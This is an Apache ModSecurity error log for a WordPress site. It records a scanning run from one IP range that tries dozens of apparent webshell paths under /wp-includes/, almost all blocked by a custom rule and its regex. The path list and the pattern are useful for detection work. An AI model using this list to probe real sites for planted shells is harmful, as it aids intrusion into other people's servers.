[Sun Apr 19 02:37:41.544276 2026] [:error] [pid 60910:tid 60925] [client 45.137.126.86:40623] [client 45.137.126.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-feed-index.php"] [unique_id "aePPdXFWunkyacYqsD1KpgAAAU0"]
[Sun Apr 19 02:37:46.728456 2026] [proxy_fcgi:error] [pid 60910:tid 60933] [client 45.137.126.73:35063] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 02:37:47.235939 2026] [:error] [pid 60910:tid 60924] [client 45.137.126.73:35063] [client 45.137.126.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "aePPe3FWunkyacYqsD1KvAAAAUw"]
[Sun Apr 19 02:37:50.477921 2026] [:error] [pid 33517:tid 33527] [client 45.137.126.72:45511] [client 45.137.126.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/db.php"] [unique_id "aePPfn4Zz-rubR1wiZ-6ZgAAAMg"]
[Sun Apr 19 02:37:51.501100 2026] [:error] [pid 32252:tid 32254] [client 45.137.126.105:20851] [client 45.137.126.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "aePPf-Xl4Yc-Lt5fJ9iq8AAAAQA"]
[Sun Apr 19 02:37:52.542158 2026] [:error] [pid 32165:tid 32181] [client 45.137.126.91:52403] [client 45.137.126.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aePPgKe2vKwEk_N0Brb_GAAAAAw"]
[Sun Apr 19 02:37:53.564448 2026] [:error] [pid 41277:tid 41301] [client 45.137.126.71:65473] [client 45.137.126.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "aePPgUH3ayszMLZYflsEXgAAAZY"]
[Sun Apr 19 02:37:54.588004 2026] [:error] [pid 60910:tid 60936] [client 45.137.126.100:35405] [client 45.137.126.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "aePPgnFWunkyacYqsD1KzwAAAVg"]
[Sun Apr 19 02:37:55.617800 2026] [:error] [pid 60910:tid 60921] [client 45.137.126.72:51807] [client 45.137.126.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "aePPg3FWunkyacYqsD1K0AAAAUk"]
[Sun Apr 19 02:38:00.412585 2026] [:error] [pid 32165:tid 32183] [client 45.137.126.68:44297] [client 45.137.126.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "aePPiKe2vKwEk_N0Brb_HwAAAA4"]
[Sun Apr 19 02:38:01.493986 2026] [:error] [pid 32167:tid 32246] [client 45.137.126.62:63717] [client 45.137.126.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "aePPiUyD4Jm27Mb3NJiUOAAAAJU"]
[Sun Apr 19 02:38:02.524508 2026] [:error] [pid 32167:tid 32238] [client 45.137.126.104:25943] [client 45.137.126.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "aePPikyD4Jm27Mb3NJiUQQAAAI0"]
[Sun Apr 19 02:38:03.553643 2026] [:error] [pid 60910:tid 60923] [client 45.137.126.91:58729] [client 45.137.126.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "aePPi3FWunkyacYqsD1K1wAAAUs"]
[Sun Apr 19 02:38:04.588280 2026] [:error] [pid 60910:tid 60926] [client 45.137.126.72:64089] [client 45.137.126.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/options.php"] [unique_id "aePPjHFWunkyacYqsD1K2AAAAU4"]
[Sun Apr 19 02:38:05.608698 2026] [proxy_fcgi:error] [pid 33517:tid 33537] [client 45.137.126.96:46837] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 02:38:09.869124 2026] [:error] [pid 33517:tid 33521] [client 45.137.126.96:46837] [client 45.137.126.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.96, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aePPkX4Zz-rubR1wiZ-6dgAAAMI"]
[Sun Apr 19 02:38:17.411094 2026] [:error] [pid 33517:tid 33538] [client 45.137.126.96:46837] [client 45.137.126.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/goto.php"] [unique_id "aePPmX4Zz-rubR1wiZ-6fQAAANM"]
[Sun Apr 19 02:38:43.135327 2026] [:error] [pid 41277:tid 41293] [client 45.137.126.89:22349] [client 45.137.126.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aePPs0H3ayszMLZYflsEoAAAAY4"]
[Sun Apr 19 02:38:44.160889 2026] [:error] [pid 60910:tid 60935] [client 45.137.126.77:42875] [client 45.137.126.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "aePPtHFWunkyacYqsD1LHgAAAVc"]
[Sun Apr 19 02:38:45.179568 2026] [:error] [pid 32167:tid 32246] [client 45.137.126.100:57473] [client 45.137.126.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aePPtUyD4Jm27Mb3NJiUhgAAAJU"]
[Sun Apr 19 02:38:55.910175 2026] [:error] [pid 60910:tid 60925] [client 45.137.126.89:39671] [client 45.137.126.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "aePPv3FWunkyacYqsD1LMwAAAU0"]
[Sun Apr 19 02:38:56.931975 2026] [:error] [pid 32252:tid 32269] [client 45.137.126.57:49085] [client 45.137.126.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "aePPwOXl4Yc-Lt5fJ9irMAAAAQ8"]
[Sun Apr 19 02:38:57.951718 2026] [:error] [pid 33517:tid 33532] [client 45.137.126.100:31713] [client 45.137.126.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "aePPwX4Zz-rubR1wiZ-6nQAAAM0"]
[Sun Apr 19 02:39:06.328356 2026] [:error] [pid 41277:tid 41290] [client 45.137.126.64:37153] [client 45.137.126.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "aePPykH3ayszMLZYflsE2gAAAYs"]
[Sun Apr 19 02:39:09.670882 2026] [:error] [pid 33517:tid 33531] [client 45.137.126.98:27347] [client 45.137.126.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "aePPzX4Zz-rubR1wiZ-6tAAAAMw"]
[Sun Apr 19 02:39:14.436586 2026] [:error] [pid 41277:tid 41295] [client 45.137.126.70:31889] [client 45.137.126.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "aePP0kH3ayszMLZYflsE9AAAAZA"]
[Sun Apr 19 02:39:33.144670 2026] [:error] [pid 33517:tid 33529] [client 45.137.126.90:53299] [client 45.137.126.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/index.php"] [unique_id "aePP5X4Zz-rubR1wiZ-63AAAAMo"]
[Sun Apr 19 02:39:36.352676 2026] [:error] [pid 60910:tid 60914] [client 45.137.126.59:40117] [client 45.137.126.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/about.php"] [unique_id "aePP6HFWunkyacYqsD1LUQAAAUI"]
[Sun Apr 19 02:39:47.860527 2026] [:error] [pid 32167:tid 32235] [client 45.137.126.73:28415] [client 45.137.126.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wp-sup.php"] [unique_id "aePP80yD4Jm27Mb3NJiVAQAAAIo"]
[Sun Apr 19 02:39:52.623823 2026] [:error] [pid 32167:tid 32249] [client 45.137.126.59:30299] [client 45.137.126.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "aePP-EyD4Jm27Mb3NJiVEwAAAJg"]
[Sun Apr 19 02:40:00.370173 2026] [:error] [pid 32166:tid 32207] [client 45.137.126.76:44405] [client 45.137.126.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "aePQAJCHNkWwdiZnafLWrgAAAEk"]
[Sun Apr 19 02:40:07.858844 2026] [:error] [pid 32165:tid 32179] [client 45.137.126.68:40125] [client 45.137.126.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "aePQB6e2vKwEk_N0Brb_dAAAAAo"]
[Sun Apr 19 02:40:12.720179 2026] [:error] [pid 32252:tid 32270] [client 45.137.126.83:38453] [client 45.137.126.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-customize-manager-client.php"] [unique_id "aePQDOXl4Yc-Lt5fJ9irbAAAARA"]
[Sun Apr 19 02:40:13.738039 2026] [:error] [pid 32167:tid 32229] [client 45.137.126.105:34625] [client 45.137.126.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "aePQDUyD4Jm27Mb3NJiVPwAAAIQ"]
[Sun Apr 19 02:40:23.003319 2026] [:error] [pid 32167:tid 32234] [client 45.137.126.54:37635] [client 45.137.126.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "aePQF0yD4Jm27Mb3NJiVXAAAAIk"]
[Sun Apr 19 02:40:31.654634 2026] [:error] [pid 32167:tid 32235] [client 45.137.126.90:43017] [client 45.137.126.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine-session.php"] [unique_id "aePQH0yD4Jm27Mb3NJiVjQAAAIo"]
[Sun Apr 19 02:40:39.425765 2026] [:error] [pid 41277:tid 41288] [client 45.137.126.98:50077] [client 45.137.126.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aePQJ0H3ayszMLZYflsFbwAAAYk"]
[Sun Apr 19 02:40:40.462304 2026] [:error] [pid 32167:tid 32231] [client 45.137.126.91:39771] [client 45.137.126.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "aePQKEyD4Jm27Mb3NJiVkQAAAIY"]
[Sun Apr 19 02:40:43.741561 2026] [:error] [pid 32167:tid 32246] [client 45.137.126.85:20623] [client 45.137.126.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "aePQK0yD4Jm27Mb3NJiVoQAAAJU"]
[Sun Apr 19 02:40:48.244686 2026] [:error] [pid 41277:tid 41294] [client 45.137.126.101:20393] [client 45.137.126.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/install.php"] [unique_id "aePQMEH3ayszMLZYflsFegAAAY8"]
[Sun Apr 19 02:40:49.276917 2026] [:error] [pid 32166:tid 32210] [client 45.137.126.99:52415] [client 45.137.126.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "aePQMZCHNkWwdiZnafLWxgAAAEw"]
[Sun Apr 19 02:41:01.117688 2026] [:error] [pid 41277:tid 41299] [client 45.137.126.61:51417] [client 45.137.126.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/category-double.php"] [unique_id "aePQPUH3ayszMLZYflsFkgAAAZQ"]
[Sun Apr 19 02:41:05.871067 2026] [:error] [pid 32166:tid 32202] [client 45.137.126.82:47407] [client 45.137.126.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/db.php"] [unique_id "aePQQZCHNkWwdiZnafLW3wAAAEQ"]
[Sun Apr 19 02:41:06.902500 2026] [:error] [pid 32166:tid 32205] [client 45.137.126.101:57803] [client 45.137.126.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/security.php"] [unique_id "aePQQpCHNkWwdiZnafLW4gAAAEc"]
[Sun Apr 19 02:41:11.642920 2026] [:error] [pid 33517:tid 33525] [client 45.137.126.71:59531] [client 45.137.126.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-language-pack.php"] [unique_id "aePQR34Zz-rubR1wiZ-7GgAAAMY"]
[Sun Apr 19 02:41:14.871935 2026] [:error] [pid 32167:tid 32232] [client 45.137.126.101:51077] [client 45.137.126.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-walker-comment-client.php"] [unique_id "aePQSkyD4Jm27Mb3NJiVwgAAAIc"]
[Sun Apr 19 02:41:23.868427 2026] [:error] [pid 32252:tid 32255] [client 45.137.126.81:55783] [client 45.137.126.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-network-query-stat.php"] [unique_id "aePQU-Xl4Yc-Lt5fJ9ir3QAAAQE"]
[Sun Apr 19 02:41:28.622314 2026] [:error] [pid 32252:tid 32277] [client 45.137.126.87:22971] [client 45.137.126.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-session-tokens-https.php"] [unique_id "aePQWOXl4Yc-Lt5fJ9ir7AAAARc"]
[Sun Apr 19 02:41:33.476391 2026] [:error] [pid 33517:tid 33531] [client 45.137.126.66:43507] [client 45.137.126.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/crystal/lrs_dage.php"] [unique_id "aePQXX4Zz-rubR1wiZ-7OAAAAMw"]
[Sun Apr 19 02:41:36.693120 2026] [:error] [pid 32252:tid 32272] [client 45.137.126.63:56443] [client 45.137.126.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/as.php"] [unique_id "aePQYOXl4Yc-Lt5fJ9ir-wAAARI"]
[Sun Apr 19 02:41:39.967046 2026] [:error] [pid 32252:tid 32254] [client 45.137.126.92:35905] [client 45.137.126.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "aePQY-Xl4Yc-Lt5fJ9isBgAAAQA"]
[Sun Apr 19 02:41:40.990313 2026] [:error] [pid 32167:tid 32237] [client 45.137.126.90:52785] [client 45.137.126.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/install.php"] [unique_id "aePQZEyD4Jm27Mb3NJiV4gAAAIw"]
[Sun Apr 19 02:41:42.009027 2026] [:error] [pid 32167:tid 32240] [client 45.137.126.106:36917] [client 45.137.126.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/db.php"] [unique_id "aePQZkyD4Jm27Mb3NJiV5gAAAI8"]
